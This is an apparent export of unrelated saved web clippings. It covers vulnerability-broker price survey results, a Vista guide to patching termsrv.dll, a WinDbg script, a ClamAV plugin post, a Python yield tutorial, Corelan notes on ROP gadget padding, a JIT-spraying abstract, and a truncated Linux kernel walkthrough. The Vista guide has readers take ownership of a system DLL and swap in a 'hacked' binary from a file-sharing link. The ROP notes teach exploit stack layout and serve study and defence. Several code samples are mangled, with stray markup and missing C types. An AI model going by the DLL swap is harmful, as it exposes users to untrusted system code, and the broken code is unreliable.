25k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
**22.** **For Netragard only, indicate what prices \(USD\) you have received for server vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | | \(0\)  
3-5k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
5-7k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
7-9k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='7' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 3.8% | \(1\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15k-20k | | \(0\)  
20k-25k | | \(0\)  
25k+ | | \(0\)  
**23.** **For Digital Armaments only, indicate what prices \(USD\) you have received for server vulnerabilities.** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | | \(0\)  
3-5k | | \(0\)  
5-7k | | \(0\)  
7-9k | | \(0\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15k-20k | | \(0\)  
20k-25k | | \(0\)  
25k+ | | \(0\)  
**24.** **For Direct to Buyer sales, indicate what prices \(USD\) you have received for server vulnerabilities. \(Direct to buyer is any one who doesn 't advertise a vulnerability purchase program\)** | 0-1k | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
---|---|---  
1-3k | | \(0\)  
3-5k | | \(0\)  
5-7k | | \(0\)  
7-9k | | \(0\)  
9-10k | | \(0\)  
10-15k | | \(0\)  
15k-20k | | \(0\)  
20k-25k | | \(0\)  
25k+ | <img src='img/hbar_l.gif' width='4' height='9' /><img src='img/hbar.gif' width='15' height='9' /><img src='img/hbar_r.gif' width='4' height='9' /> 7.7% | \(2\)  
Last Updated on Tuesday, 25 May 2010 02:21

# Missing Remote

**Created:**| _12/15/2009 4:36:50 PM_  
---|---  
**Updated:**| _12/15/2009 4:37:00 PM_  
**Author:**| __  
**Tags:**| _setup windows security windows_  
  
Guide: How to Enable Concurrent Sessions in Vista  
---  
By Alan Cooke | Published Friday, 16 February 2007 |   
---|---  
<img src='img/Temp2_5376.jpg' width='144' height='141' alt='vista_logo' /> Ok,
so I'm sure you all saw my Blog about how disappointed I was that Vista by
default did not support Concurrent Sessions. For those unaware of what it is,
Concurrent Sessions allows you to Remote Desktop into a system that someone
else is on, under a Different User account, and access the system without
kicking the user off. I, for example, use the feature to have MCE running on
my Television, and then I remote into my main user account to access all my
files without interrupting my MCE session.  Before I begin, I can take zero
credit for this hack. This guide is strictly consolidating information spread
out over several pages over at TheGreenButton. A million thanks to Sunmorgus
over there, for hacking the .dll to make this all possible.  <img
src='img/Temp2_5378.jpg' width='412' height='181' alt='rdp1' /> Also note,
following these steps WILL MODIFY SYSTEM FILES, so proceed at your own risk.
If you break anything, just ask for help in our forums though ;-\) But this is
100%, absolutely NOT SUPPORTED BY MICROSOFT. So seriously, proceed at your own
risk. **2/27 EDIT: Now with instructions for getting this to work in Vista
HOME PREMIUM\!\!\!\!\!** Click read more to see the steps.Ok, so let's get on
to the steps:  

  1. Download Sunmorgus' hacked Termsrv.dll file HERE \(If you're using **Vista HOME PREMIUM** , use this link and follow the reg instructions below.\)
    1. EDIT 7/24: Thanks to Sunmorgus, here is the new location for the files:

> > > For the 32bit:  
> http://rapidshare.com/files/44937685/termsrv\_new.dll  
>  
> for the 64bit:  
> http://rapidshare.com/files/44937686/termsrv64.dll
  1. Now, Vista's security needs a little massaging to allow you to modify the original termsrv.dll file, found in C:\Windows\System32, so....
  2. Click Start, then type "cmd" in the search box & hit enter. This will launch the Command prompt
  3. Type the following & hit enter: takeown /f C:\Windows\System32\termsrv.dll
  4. Then type this & hit enter \(**NOTE: Replace USERNAME with YOUR USERNAME\!\! If your name has a space in it, enclose it with quotes, like "Mike Garcen"**\): cacls C:\Windows\System32\termsrv.dll /G**USERNAME** :F
  5. Then go to your Windows Explorer, and go to C:\Windows\System32
  6. Rename the original termsrv.dll to something else, like "termsrv.dll.ORIGINAL", just in case
  7. **\*NOTE\* If you are unable to do the above, try rebooting into SAFE MODE**
  8. Then copy & paste the Hacked DLL you downloaded in Step 1 into the C:\Windows\System32 folder
  9. And voila\!

<img src='img/Temp2_5375.jpg' width='408' height='465' alt='rdp2' />Some
things to check. Make sure your version of Vista SUPPORTS Remote Desktop
connection to begin with.**Only Vista BUSINESS & Vista ULTIMATE DO\!\!\!\!
**If it does, you'll need to make sure to ENABLE Remote connections to the
computer. <img src='img/Temp2_5374.jpg' width='143' height='191'
alt='icon_boxshotbusiness_2' /><img src='img/Temp2_5377.jpg' width='138'
height='185' alt='icon_boxshotultimate_2' />**EDIT: OK, so those crazy users
at TheGreenButton \(specifically Scuffs & Noimp\) found a way to make this
hack work with VISTA HOME PREMIUM\!\!\!\! Just follow the link above for the
Vista Home Premium hacked .dll file, and then DOUBLE CLICK on the .REG file to
input the required registry changes to enable. \(PLEASE PLEASE PLEASE BACKUP
your Registry file BEFORE EVER MAKING CHANGES\!\!\! This could seriously
damage your computer system\).** Then you'll also need to create another user.
Remember, this doesn't let you connect 2 people to the same user account, so
make another account & then just connect to that one & you should NOT be
disconnected.  Thanks to everyone who contributed these steps, I hope
consolidating it all into steps makes it easier for people rather than
searching all over the place.  Thanks also to the Howtogeek blog post for how
to modify Vista system files. And thanks to this Ricardo Raneri blog comment
for the edits needed to be made on the .dll file.

# RAW OUTPUT nQjhQsMN

**Created:**| _2/17/2011 5:01:35 PM_  
---|---  
**Updated:**| _2/17/2011 5:01:43 PM_  
**Author:**| __  
**Tags:**| _scripting windbg_  
  

[code]

    $$
    $$ MoonSols Exercice
    $$ http://www.moonsols.com
    $$ More information at : http://msdn.moonsols.com/win7rtm_x86/EPROCESS.html
    $$
    $$ kd> $$><"D:\Slides\Trainings\MoonSols\proclist.txt"
    $$ +------------------+----------------+------------------+------------------+-----+-----------
    $$  EPROCESS           Name             Object Table       Table Code         Level+ Flags
    $$ +------------------+----------------+------------------+------------------+-----+-----------
    $$  0xFFFFFA80006B5040           System 0xFFFFF8A0000018E0 0xFFFFF8A0015D4001 1      -P
    $$  0xFFFFFA8001849B30         smss.exe 0xFFFFF8A000440F90 0xFFFFF8A000441000 0      B-
    $$  0xFFFFFA8001E906A0        csrss.exe 0xFFFFF8A0057BD8B0 0xFFFFF8A0017AE001 1      B-
    $$  0xFFFFFA8001EB4B30      wininit.exe 0xFFFFF8A00124D770 0xFFFFF8A001246000 0      B-
    $$  0xFFFFFA8001EB4060        csrss.exe 0xFFFFF8A001250010 0xFFFFF8A001248000 0      B-
    $$  0xFFFFFA8001ED3060     winlogon.exe 0xFFFFF8A00130A480 0xFFFFF8A00125C000 0      --
    $$  0xFFFFFA8001DE1B30     services.exe 0xFFFFF8A00131EAC0 0xFFFFF8A001327000 0      --
    $$  0xFFFFFA8001EF5420        lsass.exe 0xFFFFF8A00133F210 0xFFFFF8A001399001 1      --
    $$  0xFFFFFA8001F07060          lsm.exe 0xFFFFF8A001320E20 0xFFFFF8A001350000 0      --
    $$  0xFFFFFA8001F67B30      svchost.exe 0xFFFFF8A00137A2A0 0xFFFFF8A00143A001 1      --
    $$  0xFFFFFA8001EAEB30      svchost.exe 0xFFFFF8A0013AF7D0 0xFFFFF8A001469000 0      --
    $$  0xFFFFFA8002030060      LogonUI.exe 0xFFFFF8A001493C00 0xFFFFF8A001499000 0      --
    $$  0xFFFFFA800190EB30      svchost.exe 0xFFFFF8A00150D550 0xFFFFF8A001611001 1      --
    $$  0xFFFFFA800207FB30      svchost.exe 0xFFFFF8A001365540 0xFFFFF8A00181D001 1      --
    $$  0xFFFFFA80020BE6A0      svchost.exe 0xFFFFF8A00157E6C0 0xFFFFF8A001653001 1      --
    $$  0xFFFFFA8001FBE9E0      svchost.exe 0xFFFFF8A0015A6310 0xFFFFF8A00237B001 1      --
    $$  0xFFFFFA8002114060      svchost.exe 0xFFFFF8A0015D37C0 0xFFFFF8A001845001 1      --
    $$  0xFFFFFA80021BF060      spoolsv.exe 0xFFFFF8A001477AC0 0xFFFFF8A00199A001 1      --
    $$  0xFFFFFA80021DC060      svchost.exe 0xFFFFF8A00168CA10 0xFFFFF8A001A7B001 1      --
    $$  0xFFFFFA800226DB30      vmicsvc.exe 0xFFFFF8A00175B200 0xFFFFF8A001767000 0      --
    $$  0xFFFFFA8002277B30      vmicsvc.exe 0xFFFFF8A00176A350 0xFFFFF8A00176F000 0      --
    $$  0xFFFFFA800228AB30      vmicsvc.exe 0xFFFFF8A001778D30 0xFFFFF8A00177D000 0      --
    $$  0xFFFFFA80022A0B30      vmicsvc.exe 0xFFFFF8A001780360 0xFFFFF8A001786000 0      --
    $$  0xFFFFFA800220A6A0      vmicsvc.exe 0xFFFFF8A001791380 0xFFFFF8A001794000 0      --
    $$  0xFFFFFA8001F68B30       sppsvc.exe 0xFFFFF8A00198AEA0 0xFFFFF8A00199C000 0      --
    $$  0xFFFFFA80025CCB30      svchost.exe 0xFFFFF8A0019961F0 0xFFFFF8A001DD9001 1      --
    $$  0xFFFFFA8001579A90   SearchIndexer. 0xFFFFF8A001D977A0 0xFFFFF8A001D9C001 1      --
    $$
    
    r $t0 = nt!PsActiveProcessHead
    
    .printf "+------------------+----------------+------------------+------------------+-----+-----------\n"
    .printf " EPROCESS           Name             Object Table       Table Code         Level+ Flags\n"
    .printf "+------------------+----------------+------------------+------------------+-----+-----------\n"
    
    $$  Iterate over all processes in list.
    .for (r $t1 = poi(@$t0);
          (@$t1 != 0) & (@$t1 != @$t0);
          r $t1 = poi(@$t1))
    {
        r? $t2 = #CONTAINING_RECORD(@$t1, nt!_EPROCESS, ActiveProcessLinks);
         
        r? $t3 = @$t2->ObjectTable;
        r? $t4 = @$t3->TableCode;
    
        $$  Get image name into $ImageName.
        r? $t5 = &@$t2->ImageFileName[0];
         
         r? $t7 = @@c++(&@$t2->Flags)
         
        .printf /D " <link cmd=\"!process 0x%16N 1\">0x%16N</link> %16ma 0x%N 0x%N %d      ", @$t2, @$t2, @$t5, @$t3, @$t4, (@$t4 & 3)
         
         $$ BreakOnTermination
         .if ((poi(@$t7) & 0x02000) != 0)
         {
              .printf "B"
         }
         .else
         {
              .printf "-"
         }
    
         $$ Protected Process Flag
         r? $t6 = @@c++(&@$t2->Flags2)
         
         .if ((poi(@$t6) & 0x800) != 0)
         {
              .printf "P"
         }
         .else
         {
              .printf "-"
         }
         
         .printf "\n"
    }
    
[/code]

# SigAnalyzer: Signature analysis with CASC

**Created:**| _9/23/2018 8:40:57 AM_  
---|---  
**Updated:**| _9/23/2018 8:40:57 AM_  
**Author:**| _wishi_  
**Tags:**| _iDA plugin_  
  

  

###

SigAnalyzer: Signature analysis with CASC

##  Executive summary

ClamAV Signature Creator \(CASC\) is an IDA Pro plugin that assists in the
creation of ClamAV pattern signatures. We have enhanced this plugin to also
analyze these signatures. The plugin highlights matching parts in a binary
when its given a particular signature. This function is helpful when
evaluating automatically generated signatures, e.g., from the BASS framework.
As a larger number of signatures is automatically generated, it becomes ever
more important to gain a quick understanding about the effects of these
signatures. This functionality will allow us to check the accuracy of our
signatures faster, and allow us to deliver a better product to our users.

##  Description

The signature analysis function integrates neatly into the existing CASC
plugin. Because the signature analyzer \(“SigAnalyzer”\) function needs some
extra libraries, the installation of the plugin changes slightly — you can
install the library dependencies via your distribution if you use the system
Python \(e.g., on Linux on a 32-bit machine for any IDA version or on Linux
with IDA 7.0 on a 64-bit machine\), or you can use the provided ZIP archives
with bundled library dependencies. Detailed installation instructions for both
cases can be found in the project’s README.

  

If the library dependencies are satisfied, you’ll have a new tab “Analyze”
next to the tab “Create” in the plugin’s pane. Here, you can paste a logical
signature \(ldb\) or pattern signature \(ndb\), and press “Add signature.” The
signature will appear in the “Signatures” list above if it parsed correctly.
If nothing happens, keep an eye on error messages in IDA’s output window. Now
you can double-click the signature in the list. For an ndb signature, this
will directly take you to the match in the IDA-View window. The match is
green-colored.

  

An ldb signature will show all sub-signatures on the right list instead. You
can double-click on a sub-signature, and it will color the match and bring you
to it. Keep an eye on the text row above the “Add signature” button — you can
find more information on the match there, or a message if there is no match.
Added signatures are stored inside the database, and will be available again
in the signature selection window the next time you open the database.

  

Internally, the plugin relies on Yara-python to find matches. ClamAV
signatures are translated to Yara rules, which are then matched against the
binary data. The plugin’s source code is available on our GitHub page, as well
as in installation packages for your convenience. Please go ahead and test the
new functionality, but keep in mind that the functionality is in an early beta
stage, and still may have a bug or two. If you come across a bug, or you want
to comment, please don't hesitate to let us know through a GitHub issue.  
  
We are excited to have our users use this new feature. Please continue to
follow along on the blog for new ClamAV features as we develop them, and be
sure to follow us on Twitter.  
  

  

Posted by  Jonas Zaddach at 10:50 AM <img src='img/9753_icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

  

  *[10:50 AM]: 2018-09-13T10:50:00-04:00

# iterator - The Python yield keyword explained - Stack Overflow

**Created:**| _11/8/2013 8:33:19 PM_  
---|---  
**Updated:**| _11/8/2013 8:33:19 PM_  
**Author:**| __  
**Tags:**| _python_  
  

To understand what `yield` does, you must understand what generators are**.**
And before generators come iterables.

## Iterables****

When you create a list, you can read its items one by one, and it's called
iteration:

[code]

    >>> mylist = [1, 2, 3]
    >>> for i in mylist:
    ..**.**    print(i)
    1
    2
    3
[/code]

Mylist is an iterable**.** When you use a list comprehension, you create a
list, and so an iterable:

[code]

    >>> mylist = [x*x for x in range(3)]
    >>> for i in mylist:
    ..**.**    print(i)
    0
    1
    4
[/code]

Everything you can use "for..**.** in..." on is an iterable: lists, strings,
files..**.** These iterables are handy because you can read them as much as
you wish, but you store all the values in memory and it's not always what you
want when you have a lot of values**.**

## Generators****

Generators are iterators, but **you can only iterate over them once****.**
It's because they do not store all the values in memory, **they generate the
values on the fly** :

[code]

    >>> mygenerator = (x*x for x in range(3))
    >>> for i in mygenerator:
    ..**.**    print(i)
    0
    1
    4
[/code]

It is just the same except you used `()` instead of `[]`**.** BUT, you can not
perform `for i in mygenerator` a second time since generators can only be used
once: they calculate 0, then forget about it and calculate 1, and end
calculating 4, one by one**.**

## Yield****

`Yield` is a keyword that is used like `return`, except the function will
return a generator**.**

[code]

    >>> def createGenerator():
    ..**.**    mylist = range(3)
    ..**.**    for i in mylist:
    ..**.**        yield i*i
    ..**.**
    >>> mygenerator = createGenerator() # create a generator
    >>> print(mygenerator) # mygenerator is an object**!**
    <generator object createGenerator at 0xb7555c34>
    >>> for i in mygenerator:
    ..**.**     print(i)
    0
    1
    4
[/code]

Here it's a useless example, but it's handy when you know your function will
return a huge set of values that you will only need to read once**.**

To master `yield`, you must understand that **when you call the function, the
code you have written in the function body does not run**.**** The function
only returns the generator object, this is a bit tricky :-\)

Then, your code will be run each time the `for` uses the generator**.**

Now the hard part:

The first time the `for` calls the generator object created from your
function, it will run the code in your function from the beginning until it
hits `yield`, then it'll return the first value of the loop**.** Then, each
other call will run the loop you have written in the function one more time,
and return the next value, until there is no value to return**.**

The generator is considered empty once the function runs but does not hit
yield anymore**.** It can be because the loop had come to an end, or because
you do not satisfy a "if/else" anymore**.**

## Your code explained****

Generator:

[code]

    # Here you create the method of the node object that will return the generator
    def node**.** _get_child_candidates(self, distance, min_dist, max_dist):
    
      # Here is the code that will be called each time you use the generator object:
    
      # If there is still a child of the node object on its left
      # AND if distance is ok, return the next child
      if self**.** _leftchild and distance - max_dist < self**.** _median:
                    yield self**.** _leftchild
    
      # If there is still a child of the node object on its right
      # AND if distance is ok, return the next child
      if self**.** _rightchild and distance + max_dist >= self**.** _median:
                    yield self**.** _rightchild
    
      # If the function arrives here, the generator will be considered empty
      # there is no more than two values: the left and the right children
[/code]

Caller:

[code]

    # Create an empty list and a list with the current object reference
    result, candidates = list(), [self]
    
    # Loop on candidates (they contain only one element at the beginning)
    while candidates:
    
        # Get the last candidate and remove it from the list
        node = candidates**.** pop()
    
        # Get the distance between obj and the candidate
        distance = node**.** _get_dist(obj)
    
        # If distance is ok, then you can fill the result
        if distance <= max_dist and distance >= min_dist:
            result**.** extend(node**.** _values)
    
        # Add the children of the candidate in the candidates list
        # so the loop will keep running until it will have looked
        # at all the children of the children of the children, etc**.** of the candidate
        candidates**.** extend(node**.** _get_child_candidates(distance, min_dist, max_dist))
    
    return result
[/code]

This code contains several smart parts:

  * The loop iterates on a list but the list expands while the loop is being iterated :-\) It's a concise way to go through all these nested data even if it's a bit dangerous since you can end up with an infinite loop**.** In this case, `candidates.extend(node._get_child_candidates(distance, min_dist, max_dist))` exhausts all the values of the generator, but `while` keeps creating new generator objects which will produce different values from the previous ones since it's not applied on the same node**.**
  * The `extend()` method is a list object method that expects an iterable and adds its values to the list**.**

Usually we pass a list to it:

[code]

    >>> a = [1, 2]
    >>> b = [3, 4]
    >>> a**.** extend(b)
    >>> print(a)
    [1, 2, 3, 4]
[/code]

But in your code it gets a generator, which is good because:

  1. You don't need to read the values twice**.**
  2. You can have a lot of children and you don't want them all stored in memory**.**

And it works because Python does not care if the argument of a method is a
list or not**.** Python expects iterables so it will work with strings, lists,
tuples and generators**\!** This is called duck typing and is one of the
reason why Python is so cool**.** But this is another story, for another
question..**.**

You can stop here, or read a little bit to see a advanced use of generator:

## Controlling a generator exhaustion****

[code]

    >>> class Bank(): # let's create a bank, building ATMs
    ..**.**    crisis = False
    ..**.**    def create_atm(self):
    ..**.**        while not self**.** crisis:
    ..**.**            yield "$100"
    >>> hsbc = Bank() # when everything's ok the ATM gives you as much as you want
    >>> corner_street_atm = hsbc**.** create_atm()
    >>> print(corner_street_atm**.** next())
    $100
    >>> print(corner_street_atm**.** next())
    $100
    >>> print([corner_street_atm**.** next() for cash in range(5)])
    ['$100', '$100', '$100', '$100', '$100']
    >>> hsbc**.** crisis = True # crisis is coming, no more money**!**
    >>> print(corner_street_atm**.** next())
    <type 'exceptions.StopIteration'>
    >>> wall_street_atm = hsbc**.** create_atm() # it's even true for new ATMs
    >>> print(wall_street_atm**.** next())
    <type 'exceptions.StopIteration'>
    >>> hsbc**.** crisis = False # trouble is, even post-crisis the ATM remains empty
    >>> print(corner_street_atm**.** next())
    <type 'exceptions.StopIteration'>
    >>> brand_new_atm = hsbc**.** create_atm() # build a new one to get back in business
    >>> for cash in brand_new_atm:
    ..**.**    print cash
    $100
    $100
    $100
    $100
    $100
    $100
    $100
    $100
    $100
    ..**.**
[/code]

It can be useful for various things like controlling access to a resource**.**

## Itertools, your best friend****

The itertools module contains special functions to manipulate iterables**.**
Ever wish to duplicate a generator? Chain two generators**?** Group values in
a nested list with a one liner? Map / Zip without creating another list**?**

Then just `import itertools`**.**

An example? Let's see the possible orders of arrival for a 4 horse race:

[code]

    >>> horses = [1, 2, 3, 4]
    >>> races = itertools**.** permutations(horses)
    >>> print(races)
    <itertools**.** permutations object at 0xb754f1dc>
    >>> print(list(itertools**.** permutations(horses)))
    [(1, 2, 3, 4),
     (1, 2, 4, 3),
     (1, 3, 2, 4),
     (1, 3, 4, 2),
     (1, 4, 2, 3),
     (1, 4, 3, 2),
     (2, 1, 3, 4),
     (2, 1, 4, 3),
     (2, 3, 1, 4),
     (2, 3, 4, 1),
     (2, 4, 1, 3),
     (2, 4, 3, 1),
     (3, 1, 2, 4),
     (3, 1, 4, 2),
     (3, 2, 1, 4),
     (3, 2, 4, 1),
     (3, 4, 1, 2),
     (3, 4, 2, 1),
     (4, 1, 2, 3),
     (4, 1, 3, 2),
     (4, 2, 1, 3),
     (4, 2, 3, 1),
     (4, 3, 1, 2),
     (4, 3, 2, 1)]
[/code]

## Understanding the inner mechanisms of iteration****

Iteration is a process implying iterables \(implementing the `__iter__()`
method\) and iterators \(implementing the `__next__()` method\)**.** Iterables
are any objects you can get an iterator from**.** Iterators are objects that
let you iterate on iterables**.**

More about it in this article about how does the for loop work **.**

****

# Hack Notes : ROP retn+offset and impact on stack setup | Corelan Team
**Created:**| _7/15/2011 3:17:22 PM_  
---|---  
**Updated:**| _7/17/2011 1:46:07 PM_  
**Author:**| __  
**Tags:**| _rop_  
  
Hack Notes : ROP retn+offset and impact on stack setup  

Published January 30, 2011 | By Corelan Team \(corelanc0d3r\)
Yesterday, sickn3ss \(one of the frequent visitors of the \#corelan channel on
freenode IRC\) posted a really interesting question.

### The question

While testing ROP gadgets, as part of the process of building a DEP bypass
exploit for WM Downloader, he wanted to know if there is a way to predict the
required padding needed to properly align/set up the stack, when a gadget is
used that ends with RET + offset.

Apparently a lot of people assumed that the offset \(offset to RET\) needs be
compensated immediately after the gadget pointer… but that’s not true.

Let’s visualize the issue & see if we can find a general rule.

Let’s say your ROP chain contains the following 3 \(fake\) gadgets :

  * 77C1E842 : PUSH EDI / POP EAX / POP EBP / RET
  * 77C1D7F5: ADD EAX,20 / POP EBP / RET
  * 71AA2526 : XOR EAX,EAX / INC ESI / RET
  * …

When setting up the stack with these pointers, the exploit developer has to
compensate for any data that will be picked up \(POP\) or otherwise has to be
put on the stack in order to make sure the RET \(at the end of the gadget\)
will return to the next gadget pointer.

The example setup \(using the pointers above\) would look like this :

ESP | 77C1E842 | <\- first gadget. PUSH EDI/POP EAX is followed by POP EBP.  
---|---|---  
ESP+4 | DAC0FF33 | <\- will be popped into EBP by gadget above. These 4 bytes need to be on the stack to make sure RET will land at next pointer \(at ESP+8\)  
ESP+8 | 77C1D7F5 | <\- second gadget. POP EBP in this gadget will pick up the next 4 bytes on the stack  
ESP+C | DAC0FF33 | <\- will be popped into EBP by gadget 77C1D7F5. RET will then land at next pointer \(at ESP+10\)  
ESP+10 | 71AA2526 | <\- third gadget. No additional bytes are needed because nothing will be picked up from stack by this gadget  
ESP+14 |  | <\- 4th gadget needs to be put here  
Nothing really special here.

What happens if the gadgets end with RET + offset ? How does that impact the
stack alignment / padding bytes you need to put in between 2 gadget pointers ?

### The answer

Let’s say we have the following gadgets :

  * 77C1E842 : PUSH EDI / POP EAX / POP EBP / RETN + 4
  * 77C1D7F5: ADD EAX,20 / POP EBP / RETN + 8
  * 71AA2526 : XOR EAX,EAX / INC ESI / RET
  * …

The first gadget ends with RETN+4. The second gadget ends with RETN+8. How
does this impact the stack layout ?

ESP | 77C1E842 | <\- first gadget. PUSH EDI/POP EAX is followed by POP EBP and RETN + 4  
---|---|---  
ESP+4 | DAC0FF33 | <\- will be popped into EBP by gadget above. These 4 bytes need to be on the stack to make sure RET will land at next pointer \(at ESP+8\)  
ESP+8 | 77C1D7F5 | <\- second gadget. POP EBP will pick up next 4 bytes. This gadget ends with RETN + 8  
ESP+C | **41414141** | <\- these are the 4 bytes needed to compensate for RET+4 in the first gadget. As you can see, the 4 bytes compensation need to be placed after the next RET instruction \(so after the next gadget\).  
ESP+10 | DAC0FF33 | <\- will be popped into EBP by gadget 77C1D7F5. RET will then land at next pointer \(at ESP+10\)  
ESP+14 | 71AA2526 | <\- third gadget. No additional bytes are needed because nothing will be picked up from stack by this gadget.  
ESP+18 | **41414141** | 4 bytes of padding – compensate for the first 4 bytes in RET+8 \(gadget 2\)  
ESP+1C | **41414141** | 4 bytes of padding – compensate for the second 4 bytes in RET + 8 \(gadget 2\)  
ESP+20 |  | <\- 4th gadget must be placed here  
Conclusion : the offset to RET must be accounted for on the stack after the
next gadget pointer, and not after the current gadget pointer.

Thanks sickn3ss for popping the question & working with me to documenting the
behaviour \!

* * *
© 2011, Corelan Team \(corelanc0d3r\). All rights reserved.

Copyright secured by Digiprove © 2011 Peter Van Eeckhoutte | Corelan GCV
  *[January 30, 2011]: 15:59

# Piotr Bania Chronicles http://blog.piotrbania.com: PAPER: JIT spraying and
mitigations

**Created:**| _9/10/2010 9:50:24 AM_  
---|---  
**Updated:**| _9/10/2010 9:50:24 AM_  
**Author:**| _wishi_  
**Tags:**| _Heap Defense_  
  

**" Jak Ryszard Siwiec, płonę byś myślał."**  
  
  
<img src='img/x.pb' height='0' />

<img src='img/8142_icon18_wrench_allbkg.png' width='18' height='18' />

### PAPER: JIT spraying and mitigations

**ABSTRACT** :  
With the discovery of new exploit techniques, novel protection mechanisms are
needed as well. Mitigations like DEP \(Data Execution Prevention\) or ASLR
\(Address Space Layout Randomization\) created a significantly more difficult
environment for exploitation. Attackers, however, have recently researched new
exploitation methods which are capable of bypassing the operating system’s
memory mitigations. One of the newest and most popular exploitation techniques
to bypass both of the aforementioned security protections is JIT memory
spraying, introduced by Dion Blazakis. In this article we will present a short
overview of the JIT spraying technique and also novel mitigation methods
against this innovative class of attacks. An anti-JIT spraying library was
created as part of our shellcode execution prevention system.  
  
DOWNLOAD HERE  
  
MIRROR:  
LOCAL MIRROR  
  
PS. You can catch me on twitter \(http://twitter.com/PiotrBania\) -- however
i'm mostly tweeting only about midget car racing.

# linux-insides/linux-initialization-4.md at master · 0xAX/linux-insides ·
GitHub

**Created:**| _4/5/2015 8:25:19 PM_  
---|---  
**Updated:**| _4/5/2015 8:25:19 PM_  
**Author:**| __  
**Tags:**| _Linux kernel_  
  

# Kernel initialization. Part 4.

#  Kernel entry point

If you have read the previous part - Last preparations before the kernel entry
point, you can remember that we finished all pre-initialization stuff and
stopped right before the call of the `start_kernel` function from the
init/main.c. The `start_kernel` is the entry of the generic and architecture
independent kernel code, although we will return to the `arch/` folder many
times. If you will look inside of the `start_kernel` function, you will see
that this function is very big. For this moment it contains about `86` calls
of functions. Yes, it's very big and of course this part will not cover all
processes which are occur in this function. In the current part we will only
start to do it. This part and all the next which will be in the Kernel
initialization process chapter will cover it.

The main purpose of the `start_kernel` to finish kernel initialization process
and launch first `init` process. Before the first process will be started, the
`start_kernel` must do many things as: to enable lock validator, to initialize
processor id, to enable early cgroups subsystem, to setup per-cpu areas, to
initialize different caches in vfs, to initialize memory manager, rcu,
vmalloc, scheduler, IRQs, ACPI and many many more. Only after these steps we
will see the launch of the first `init` process in the last part of this
chapter. So many kernel code waits us, let's start.

**NOTE: All parts from this big chapter`Linux Kernel initialization process`
will not cover anything about debugging. There will be separate chapter about
kernel debugging tips.**

##  A little about function attributes

As I wrote above, the `start_kernel` funcion defined in the init/main.c. This
function defined with the `__init` attribute and as you already may know from
other parts, all function which are defined with this attributed are necessary
during kernel initialization.

[code]

    #define __init      __section(.init.text) __cold notrace
[/code]

After initilization process will be finished, the kernel will release these
sections with the call of the `free_initmem` function. Note also that `__init`
defined with two attributes: `__cold` and `notrace`. Purpose of the first
`cold` attribute is to mark the function that it is rarely used and compiler
will optimize this function for size. The second `notrace` is defined as:

[code]

    #define notrace __attribute__((no_instrument_function))
[/code]

where `no_instrument_function` says to compiler to not generate profiling
function calls.

In the definition of the `start_kernel` function, you can also see the
`__visible` attribute which expands to the:

[code]

    #define __visible __attribute__((externally_visible))
    
[/code]

where `externally_visible` tells to the compiler that something uses this
function or variable, to prevent marking this function/variable as `unusable`.
Definition of this and other macro attributes you can find in the
include/linux/init.h.

##  First steps in the start\_kernel

At the beginning of the `start_kernel` you can see definition of the two
variables:

[code]

     *command_line;
     *after_dashes;
[/code]

The first presents pointer to the kernel command line and the second will
contain result of the `parse_args` function which parses an input string with
parameters in the form `name=value`, looking for specific keywords and
invoking the right handlers. We will not go into details at this time related
with these two variables, but will see it in the next parts. In the next step
we can see call of:

[code]

    lockdep_init();
[/code]

function. `lockdep_init` initializes lock validator. It's implementation is
pretty easy, it just initializes two list\_head hashes and set global variable
`lockdep_initialized` to `1`. Lock validator detects circular lock dependecies
and called when any spinlock or mutex is acquired.

The next function is `set_task_stack_end_magic` which takes address of the
`init_task` and sets `STACK_END_MAGIC` \(`0x57AC6E9D`\) as canary for it.
`init_task` presents initial task structure:

[code]

    struct task_struct init_task = INIT_TASK(init_task);
[/code]

where `task_struct` structure stores all informantion about a process. I will
not definition of this structure in this book, because it's very big. You can
find its definition in the include/linux/sched.h. For this moment
`task_struct` contains more than `100` fields\! Although you will not see
definition of the `task_struct` in this book, we will use it very often, since
it is the fundamental structure which describes the `process` in the Linux
kernel. I will describe the meaning of the fields of this structure as we will
meet with them in practice.

You can see the definition of the `init_task` and it initialized by
`INIT_TASK` macro. This macro is from the include/linux/init\_task.h and it
just fills the `init_task` with the values for the first process. For example
it sets:

  * init process state to zero or `runnable`. A runnable process is one which is waiting only for a CPU to run on;
  * init process flags - `PF_KTHREAD` which means - kernel thread;
  * a list of runnable task;
  * process address space;
  * init process stack to the `&init_thread_info` which is `init_thread_union.thread_info` and `initthread_union` has type - `thread_union` which contains `thread_info` and process stack:

[code]

    union thread_union {
        struct thread_info thread_info;
        unsigned  stack[THREAD_SIZE/sizeof()];
    };
[/code]

Every process has own stack and it is 16 killobytes or 4 page frames. in
`x86_64`. We can note that it defined as array of `unsigned long`. The next
field of the `thread_union` is - `thread_info` defined as:

[code]

    struct thread_info {
            struct task_struct      *task;
            struct exec_domain      *exec_domain;
            __u32                   flags; 
            __u32                   status;
            __u32                   cpu;
                                 saved_preempt_count;
            mm_segment_t            addr_limit;
            struct restart_block    restart_block;
             __user             *sysenter_return;
            unsigned             sig_on_uaccess_error:;
            unsigned             uaccess_err:;
    };
[/code]

and occupies 52 bytes. `thread_info` structure contains archetecture-specific
inforamtion the thread. We know that on `x86_64` stack grows down and
